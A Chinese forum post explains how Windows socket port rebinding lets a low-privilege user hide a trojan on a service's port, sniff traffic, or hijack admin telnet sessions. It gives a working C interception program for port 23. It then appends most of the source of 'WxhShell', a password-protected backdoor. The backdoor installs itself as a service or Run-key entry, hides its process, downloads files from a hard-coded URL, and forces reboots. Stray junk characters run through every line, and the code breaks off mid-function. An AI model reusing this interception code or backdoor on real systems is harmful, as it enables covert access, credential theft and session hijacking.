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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iN;Pg _Kq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l<=;IMWd  
59E9K)c3  
  saddr.sin_family = AF_INET; I7ao2aS  
1Bytu >2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A  6(`  
e" v%m 'G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~A0]vcP  
:'%6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'Y?-."eKh  
X=)V<2WO  
  这意味着什么?意味着可以进行如下的攻击: bLc5$U$!I  
9CD ei~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I Xc `Ec  
0z8(9DlTc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MB]E[&Q!  
8lyIL^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'xW=qboOp  
;UdM8+^/V]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (.J/Ql0Y  
.LzA'q1+z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 te@m#` p9  
`PWKA;W$0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yV^Yp=f_  
4]d^L>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @*;x1A-]V  
wkg4I.  
  #include |#Gxqq'  
  #include R7::f\I   
  #include v+ $3  
  #include    4_#$k{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4I4m4^  
  int main() 6N/(cUXJ  
  { M.}9)ho   
  WORD wVersionRequested; =G-OIu+H!U  
  DWORD ret; .:S/x{~  
  WSADATA wsaData; fc#9e9R  
  BOOL val; {lI}a8DP  
  SOCKADDR_IN saddr; U:7h>Z0W  
  SOCKADDR_IN scaddr; +){^HC\7h  
  int err; zJDHDr  
  SOCKET s; -E-#@s  
  SOCKET sc; 4n,&,R r#  
  int caddsize; LjZlKB5C  
  HANDLE mt; oz!)x\m*H  
  DWORD tid;   j\}.GM'8  
  wVersionRequested = MAKEWORD( 2, 2 ); Y\ [|k-6  
  err = WSAStartup( wVersionRequested, &wsaData ); Aztrq  
  if ( err != 0 ) { F^dJ{<yX  
  printf("error!WSAStartup failed!\n"); 2BccE  
  return -1; WK%cbFq(  
  } XYcZ;Z9:  
  saddr.sin_family = AF_INET; I9?\Jbqg  
   +M j 6.X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;lMvxt:  
t3L>@NWG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {vu\qXmMv  
  saddr.sin_port = htons(23); oO2DPcK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -H?c4? 5  
  { AR| 4^  
  printf("error!socket failed!\n"); 91R# /i  
  return -1; YidcVlOsO  
  } d`sZ"8}j  
  val = TRUE; vC]X>P5Px  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *byUqY3(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x^ s,<G  
  { f;E#CjlTL  
  printf("error!setsockopt failed!\n"); +d, ~h_7!  
  return -1; ieyK$q  
  } ^t0!Dbx3SE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k1Y\g'1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M;A_'h?Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [RF,0>^b  
K^WDA])  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %.bDK}  
  { *HrEh;3^J  
  ret=GetLastError(); }*x1e_m}H  
  printf("error!bind failed!\n"); QqM[W/&R  
  return -1; N*gJu  
  } I~7iIUD  
  listen(s,2); 'F W?   
  while(1) f3UCELJ  
  { N{Sp-J>  
  caddsize = sizeof(scaddr); @IG's-  
  //接受连接请求 OVLVsNg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HLyA zB~r  
  if(sc!=INVALID_SOCKET) 8xy8/UBIk0  
  { fJFNS y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1/$PxQ  
  if(mt==NULL) -2hirA<^  
  { c>bns/f  
  printf("Thread Creat Failed!\n"); ! ._q8q\  
  break; &}DfIP<  
  } y##h(y  
  } ,{*g Q%7  
  CloseHandle(mt); 2 ZK]}&yC  
  } UyGo0POW  
  closesocket(s); ]J Yz(m[   
  WSACleanup(); +C% 6jGGh  
  return 0; & bTCTDZh  
  }   n Bm ]?  
  DWORD WINAPI ClientThread(LPVOID lpParam) dGZie .Zx  
  { o2fih%p?1  
  SOCKET ss = (SOCKET)lpParam; }aWy#Oe  
  SOCKET sc; a>j}@8[J  
  unsigned char buf[4096]; dIC\U  
  SOCKADDR_IN saddr; 0)&!$@HW  
  long num; x%dny]O1;  
  DWORD val; VMah3T!  
  DWORD ret; GvVkb=="  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7}iv+rQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J;& y?%{@5  
  saddr.sin_family = AF_INET; ::Zo` vP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [Uup5+MCv  
  saddr.sin_port = htons(23); EL,k z8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ztVTXI%Kz  
  { 5=o^/Vkc  
  printf("error!socket failed!\n"); /,G `V  
  return -1; TPp]UG  
  } M+ [ho]  
  val = 100; ~kW?]/$h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eB0exPz%  
  { vr;`h/  
  ret = GetLastError(); )n&hO_c/  
  return -1; 56AC%_ g>  
  } oc1BOW z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |~Dl<#58  
  { ' i+L  
  ret = GetLastError(); tpWGmj fo>  
  return -1; xQsxc  
  } 3=enk0$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;!<}oZp{  
  { 4*EMd!E=<  
  printf("error!socket connect failed!\n"); Ph3;;,v '  
  closesocket(sc); 53t_#Yte  
  closesocket(ss); ,`t+X=#  
  return -1; [c{\el9H  
  } FL{Uz+Q  
  while(1) /A{ Zf'DI  
  { ]N'3jf`W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UhH#> 2r_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HA'~1$#z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &y!?R$?b  
  num = recv(ss,buf,4096,0); /8GdCac  
  if(num>0) aAjl 58  
  send(sc,buf,num,0); .`Rt   
  else if(num==0) J&8KIOz14Z  
  break; -,8LL@_  
  num = recv(sc,buf,4096,0); 8lusKww  
  if(num>0) SAP/jD$5]>  
  send(ss,buf,num,0); N{%7OG  
  else if(num==0) 8'PZA,CW  
  break; fo ~uI(rk  
  } wm~7`&  
  closesocket(ss); |62` {+  
  closesocket(sc); V'vWz`#  
  return 0 ; B=0^Rysg  
  } vPDw22L;'  
Fi``l )Tt  
xF8r+{_J)  
========================================================== &M13F>!  
V\`Z|'WIQD  
下边附上一个代码,,WXhSHELL W,4!"*+  
vT?^#  
========================================================== (=j;rfvP  
b~aM=71  
#include "stdafx.h" ](Fey0@  
%,\JTN|g|A  
#include <stdio.h> J ?o  
#include <string.h> G*9(O:  
#include <windows.h> 2+9VDf2  
#include <winsock2.h> jR%*,IeB  
#include <winsvc.h> gG?@_ie  
#include <urlmon.h> 7P1Pk?pxy  
4)gG_k  
#pragma comment (lib, "Ws2_32.lib") w;lpJ B\  
#pragma comment (lib, "urlmon.lib") v~mVf.j1  
?+]=|hN  
#define MAX_USER   100 // 最大客户端连接数 ZDW9H6ux  
#define BUF_SOCK   200 // sock buffer i<Z%  
#define KEY_BUFF   255 // 输入 buffer B|m)V9A%-  
&J 3QO%  
#define REBOOT     0   // 重启 3RaduN]  
#define SHUTDOWN   1   // 关机 AR [m+E  
u`'" =Y_E  
#define DEF_PORT   5000 // 监听端口 E0ED[d,  
^8 VW$}  
#define REG_LEN     16   // 注册表键长度 KW:N 6w  
#define SVC_LEN     80   // NT服务名长度 B%tF|KKj  
$7q3[skH  
// 从dll定义API 4aHogheg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); neFwxS?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oxxuw Dcl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bv4umL /  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Go%Z^pF3CO  
VM$n|[C~  
// wxhshell配置信息 $yx\2   
struct WSCFG { 6ld4'oM  
  int ws_port;         // 监听端口 HPphTu}`  
  char ws_passstr[REG_LEN]; // 口令 |^Iox0A  
  int ws_autoins;       // 安装标记, 1=yes 0=no O=jLZ2os  
  char ws_regname[REG_LEN]; // 注册表键名 7DAP_C  
  char ws_svcname[REG_LEN]; // 服务名 w5>[hQR\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ||:> &  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %0GwO%h},  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \OW:-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I Cc{2l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cO J`^^P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d6MWgg  
q;68tEupR  
}; B<d=;V  
LhL |ETrJ  
// default Wxhshell configuration owIpn=8|Q  
struct WSCFG wscfg={DEF_PORT, fOi Rstci  
    "xuhuanlingzhe", ]?}>D?5  
    1, VlV X  
    "Wxhshell", h%EeU 3  
    "Wxhshell", S70#_{  
            "WxhShell Service", [QnN1k  
    "Wrsky Windows CmdShell Service", "W(D0oy  
    "Please Input Your Password: ", g}W`LIasv  
  1, u IXA{89  
  "http://www.wrsky.com/wxhshell.exe", i)x0 ]XF  
  "Wxhshell.exe" ov+{<0Q  
    }; <D |&)/#  
{4S UG o>  
// 消息定义模块 ~uhW~bT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AMyg>n!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y#os6|MV#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~:Rbd9IB  
char *msg_ws_ext="\n\rExit."; 0z/*JVka  
char *msg_ws_end="\n\rQuit."; TnQ>v{Rx  
char *msg_ws_boot="\n\rReboot..."; P&Ke slk  
char *msg_ws_poff="\n\rShutdown..."; 9Jwd*gevV  
char *msg_ws_down="\n\rSave to "; NO~G4PUM0C  
~9]vd|  
char *msg_ws_err="\n\rErr!";  }#m9Q[  
char *msg_ws_ok="\n\rOK!"; vaeQ}F  
-@XSDfy7S  
char ExeFile[MAX_PATH]; pN^g.  
int nUser = 0; _%CM<z e  
HANDLE handles[MAX_USER]; HR-'8?)R.A  
int OsIsNt; ?;l@yx  
M8-8 T  
SERVICE_STATUS       serviceStatus; 2G8w&dtu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y#@D% a8  
nVs@DH  
// 函数声明 ~|"Vl<9  
int Install(void); Q^ W,)%  
int Uninstall(void); %V=%ARP|  
int DownloadFile(char *sURL, SOCKET wsh); :of([e|u6  
int Boot(int flag); e(s0mbJE  
void HideProc(void); 6_%Cd`4Z  
int GetOsVer(void); cq[9#@ 4=  
int Wxhshell(SOCKET wsl); {YiMd oMhg  
void TalkWithClient(void *cs); jj`#;Y  
int CmdShell(SOCKET sock);  N}5  
int StartFromService(void); li[[AAWVm  
int StartWxhshell(LPSTR lpCmdLine); h3 H Udu  
ZQlk 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6)1PDlB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `dm*vd  
&>AwG4HW#j  
// 数据结构和表定义 My>q%lF=fw  
SERVICE_TABLE_ENTRY DispatchTable[] = bpc1> ?  
{  ;Ci:d*  
{wscfg.ws_svcname, NTServiceMain}, 76D$Nm  
{NULL, NULL} L"jA#ULg  
}; qIJc\,'  
G y[5'J`  
// 自我安装 _|\X8o_  
int Install(void) 0f5 ag&  
{ W/UA%We3+L  
  char svExeFile[MAX_PATH]; 0m3hL~0(a  
  HKEY key; Zv}F?4T~:  
  strcpy(svExeFile,ExeFile); brTNwRze  
H|aFs.SEQ  
// 如果是win9x系统,修改注册表设为自启动 b"$?(Y  
if(!OsIsNt) { _o9axBJs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?jR#txR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `i.fm1I]  
  RegCloseKey(key); W_@ b. 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @A6iY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s={>{,E  
  RegCloseKey(key); KH,f'`  
  return 0; w!"A$+~  
    } Y%/RGYKh  
  } 4 Y=0>FlY0  
} ] !*K|?VL  
else { qeMDC#N  
,esEh5=Ir  
// 如果是NT以上系统,安装为系统服务 m%.4OXX"&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 80Y% C-Y:  
if (schSCManager!=0) qoZi1,i'  
{ s O#cJAfuu  
  SC_HANDLE schService = CreateService bqH [-mu6  
  ( d3znb@7  
  schSCManager, ovN3.0tAI  
  wscfg.ws_svcname, HsYzIQLL  
  wscfg.ws_svcdisp, |"K%Tvxe  
  SERVICE_ALL_ACCESS, Do(G;D`h+_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '|gsmO  
  SERVICE_AUTO_START, 7l7VT?<:  
  SERVICE_ERROR_NORMAL, &/[MWQ  
  svExeFile, T"P}`mT  
  NULL, ~U w<e~  
  NULL, IiniaVuQ  
  NULL, W^09tx/I  
  NULL, 07SW$INb  
  NULL ga|<S@u?}  
  ); z$1|D{  
  if (schService!=0) Vl+UC1M}B>  
  { P]m{\K  
  CloseServiceHandle(schService); D 6'd&U{_  
  CloseServiceHandle(schSCManager); Vsi:O7|+ }  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \j!/l f)  
  strcat(svExeFile,wscfg.ws_svcname); 0m1V@ 3]7>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (_#E17U)_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^;/~$  
  RegCloseKey(key); @"s<0T^H  
  return 0; b$;oty9Y  
    } UA'bE~i  
  } o`,}b1lh  
  CloseServiceHandle(schSCManager); *i*\ dl  
} ^nZ=B>Yn2  
} nY MtK  
]a.e;c-  
return 1; d s`YVXKH  
} FrMXf,}  
T x Mh_  
// 自我卸载 J8\l'} ?&  
int Uninstall(void) f~l pa7  
{ nZ=[6?  
  HKEY key; .}F 39TS2  
]N}/L lq  
if(!OsIsNt) { P 4)Q5r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gm5%X'XL  
  RegDeleteValue(key,wscfg.ws_regname); KRGj6g+  
  RegCloseKey(key); 9.xb-m7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { (.@bT@  
  RegDeleteValue(key,wscfg.ws_regname); >]_6|Wfl  
  RegCloseKey(key); ,L  
  return 0; l'<&H#A;'  
  } PO5,lcBD<  
} #O_%!7M{4  
} M5RN Z%  
else { M p <r`PM2  
#<Y3*^~5d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KiG19R$  
if (schSCManager!=0) CV HKP[-  
{ %wl:>9]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q;R&valn  
  if (schService!=0)  cL .z{  
  { i'CK/l.H  
  if(DeleteService(schService)!=0) { R-$w* =Y  
  CloseServiceHandle(schService); ]UIN4E  
  CloseServiceHandle(schSCManager); {_W8Qm`.  
  return 0; 1d!s8um;  
  } 7 `~0j6FY  
  CloseServiceHandle(schService); _ LgP  
  } v@G&";|  
  CloseServiceHandle(schSCManager); "&XhMw4  
} Gfx !.[Y  
} \$Ky AWrZi  
DMA7eZf'Hv  
return 1; ;R&W#Q7>3  
} |63uoRr  
~9rNP{+  
// 从指定url下载文件 D4"<suU|.  
int DownloadFile(char *sURL, SOCKET wsh) vD2(M1Q  
{ S7j(4@  
  HRESULT hr; `[E-V  
char seps[]= "/"; {pi_yr3  
char *token; U`N?<zm<oO  
char *file; e`a4Gr  
char myURL[MAX_PATH]; CUdpT$$x3  
char myFILE[MAX_PATH]; [x?9< #T  
":e6s co  
strcpy(myURL,sURL); '/D2d  
  token=strtok(myURL,seps); 8 |= c3Z  
  while(token!=NULL) =KO]w9+\  
  { @fA| y  
    file=token; *eD[[HbKX  
  token=strtok(NULL,seps); l %zbx"%x  
  } V4u4{wU]  
~%tVb c  
GetCurrentDirectory(MAX_PATH,myFILE); g_PP 9S_?  
strcat(myFILE, "\\"); o S{hv:)>  
strcat(myFILE, file); vp&.  
  send(wsh,myFILE,strlen(myFILE),0); 5KbPpKpd  
send(wsh,"...",3,0); i \Yd_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %q r,Ssa/  
  if(hr==S_OK) 5mVO9Q j  
return 0; AzzHpfv,  
else dj5|t~&  
return 1; L\#G#1x8  
{c I~Nf?i  
} H!FaI(YZl  
e|SN b*_  
// 系统电源模块 o=7e8l  
int Boot(int flag) .|DrXJ \c  
{ 5m@'( ] j  
  HANDLE hToken; ?~sNu k  
  TOKEN_PRIVILEGES tkp; +MYrNR.p  
xIc||o$  
  if(OsIsNt) { DHjfd+E=s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ORqqzy +  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( +S-  
    tkp.PrivilegeCount = 1; 7C Sn79E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,6^Xn=o #  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {]|<|vc;GI  
if(flag==REBOOT) { "IpbR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 19% "F!^i  
  return 0; 67H?xsk@n  
} D'moy*E  
else { [T'[7 Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c#?~1@=  
  return 0; 1H%p|'FKA  
} 1bz^$2/k  
  } aox@- jyr  
  else { TWRnty-C  
if(flag==REBOOT) { Wd+kjI\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WAuT`^"u  
  return 0; DIP%*b#l$\  
} s9Tn|Pm+!\  
else { ?|NsaW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A3HN Mz  
  return 0; j,%i.[8S  
} J pj[.Sq  
} B`nI] _  
qxyY2&  
return 1; 3z#> 1HD$  
} ut]&3f''  
%WP[V{,F  
// win9x进程隐藏模块 C\Ob!sv%H  
void HideProc(void) )_Hv9!U]e  
{ 7c%dSs6  
SMd[*9l [  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b{<$OVc  
  if ( hKernel != NULL ) 8Bc2?NI=   
  { xHx_! )7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [(3 %$?[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l7<VHz0b  
    FreeLibrary(hKernel); AU}|o0Ur  
  } 2A*,9S|Y  
,T ^A?t  
return; DqI"B  
} "9X(.v0ze  
I"8Z'<|/\q  
// 获取操作系统版本 ~rq:I<5  
int GetOsVer(void) p_zVrlVb  
{ V%t_,AT  
  OSVERSIONINFO winfo; 'F*OlZ!BWy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fS8Pi,!  
  GetVersionEx(&winfo); uHZjpMoM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~U]%>Zf  
  return 1; ]A+t@/k  
  else xudZ7   
  return 0; .'l3NV^{  
} C=K{;.  
1n*"C!q  
// 客户端句柄模块 bz,"TG[  
int Wxhshell(SOCKET wsl) =_6 Q26  
{ AjO{c=d  
  SOCKET wsh; 64y9.PY  
  struct sockaddr_in client; gC%$)4-:  
  DWORD myID;  YO fYa  
6/'X$}X  
  while(nUser<MAX_USER) t82*rC IB{  
{ z0YL,  
  int nSize=sizeof(client); :.{d,)G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zT!.5qd  
  if(wsh==INVALID_SOCKET) return 1; V sL*&Fk  
)$pqe|,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P;X0L{u0H  
if(handles[nUser]==0) |1<B(iB'{/  
  closesocket(wsh); >h9~ /  
else ljg6uz1v %  
  nUser++; z>=;Xe8P8n  
  } sUk n.g!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W=#jtU`:5  
gId :IR  
  return 0; 'Vhnio;qC  
} Ir- 1@_1Q  
;d}n89DXj  
// 关闭 socket !0Ak)Q]e'  
void CloseIt(SOCKET wsh) gA 5DEit  
{ |llmq'Q  
closesocket(wsh); 8H3O6ro  
nUser--; hO$29_^"  
ExitThread(0); hy~KY6Ta  
} ^g<Lu/5w  
>Fe=PRs  
// 客户端请求句柄 @te}Asv  
void TalkWithClient(void *cs) hbx+*KM  
{ ,oEAWNbgQ  
b$*G&d5  
  SOCKET wsh=(SOCKET)cs; Jcp=<z*0  
  char pwd[SVC_LEN]; 20A:,pMb  
  char cmd[KEY_BUFF]; -O@/S9]S)  
char chr[1]; 6hFs{P7  
int i,j; "`pg+t&  
zR=g<e1xe  
  while (nUser < MAX_USER) { bDegIW/'w  
~ihi!u%~}  
if(wscfg.ws_passstr) { Pi%-bD/w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V Kc`mE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O=u.J8S2  
  //ZeroMemory(pwd,KEY_BUFF); :19s=0  
      i=0; {D]I[7f8Ev  
  while(i<SVC_LEN) { 20Rm|CNH?  
ZS&lXgo  
  // 设置超时 nXh<+7  
  fd_set FdRead; f\:I1y  
  struct timeval TimeOut; 0 zjGL7  
  FD_ZERO(&FdRead); n*~#]%4  
  FD_SET(wsh,&FdRead); v=IcVHuf  
  TimeOut.tv_sec=8; h}+Gz={Q^  
  TimeOut.tv_usec=0; a^&RV5o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LsK fCB}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /sSif0I24  
C+C1(b;1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0.wN&:I8t  
  pwd=chr[0]; On@p5YRwW  
  if(chr[0]==0xd || chr[0]==0xa) { {#+'T13sx  
  pwd=0; ,(+ZD@Rg  
  break; s21)*d  
  } 2%pe.s tQ  
  i++; PJh97%7  
    } `KP}pi\  
 sJ_3tjs)  
  // 如果是非法用户,关闭 socket kPnuU!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )VG_Y9;Xk:  
} H .sfM   
hSk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); od3b,Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pTYV@5|  
JNA_*3 '  
while(1) { ;|CG9|p  
<@v|~ AO4~  
  ZeroMemory(cmd,KEY_BUFF); b]WvKdq  
r+MqjdXG  
      // 自动支持客户端 telnet标准   j2#B l  
  j=0; bWB&8&p  
  while(j<KEY_BUFF) { 49B6|!&I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tkdyR1-  
  cmd[j]=chr[0]; uF T5Z  
  if(chr[0]==0xa || chr[0]==0xd) { w`Rt"d_B  
  cmd[j]=0; tQ2S*]"f  
  break; W6yz/{Rf  
  } / DS T|2  
  j++; y$?O0S%F  
    } t3.I ` Z  
i32S(3se  
  // 下载文件 NB&zBJ#  
  if(strstr(cmd,"http://")) { qh wl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2\[ Q{T=Qe  
  if(DownloadFile(cmd,wsh)) e" p5hpl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u%CJjy  
  else PO0/C q)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d 4;   
  } 42 rIIJ1A  
  else { vLcOZ^iK  
`6G:<wX  
    switch(cmd[0]) { u$1^=  
  5S #6{Y =  
  // 帮助 \Xg`@JrTM  
  case '?': { RgVg~?A@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '/F~vSQsR  
    break; o@|kq1m8  
  } [i]%PVGW  
  // 安装 ]Ai!G7s8P  
  case 'i': { K`cy97  
    if(Install()) OKNGV,{`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Lz7}g=6  
    else Qlhm:[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eqt>_n8  
    break; i th!,jY*i  
    } IpsV4nmnz-  
  // 卸载 atfK?VK#  
  case 'r': { \ id(P3M  
    if(Uninstall()) FVoKNaK-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + hMF\@  
    else NJ!}(=1|K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D+Z,;XZ  
    break; P6 mDwR  
    }  W o$UV  
  // 显示 wxhshell 所在路径 El3Ayd3  
  case 'p': { i&,1  
    char svExeFile[MAX_PATH]; 9h^TOZK)  
    strcpy(svExeFile,"\n\r"); x@<!#d+  
      strcat(svExeFile,ExeFile); <D(|}5qR  
        send(wsh,svExeFile,strlen(svExeFile),0); `qr.@0whP  
    break; @XX7ydG5  
    } x/#.%Ga#T  
  // 重启 ; HjT  
  case 'b': { 2v1dSdX,W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6Nz S<  
    if(Boot(REBOOT)) lKy4Nry9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1?#Wg>7'  
    else { X\]Dx./  
    closesocket(wsh); qk\LfRbj  
    ExitThread(0); ig:z[k?  
    } v|YJ2q?19  
    break; 7o`pNcabtz  
    } PAy7b7m~B  
  // 关机 .h;X5q1  
  case 'd': { <p8>"~ R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4 !M6 RL8{  
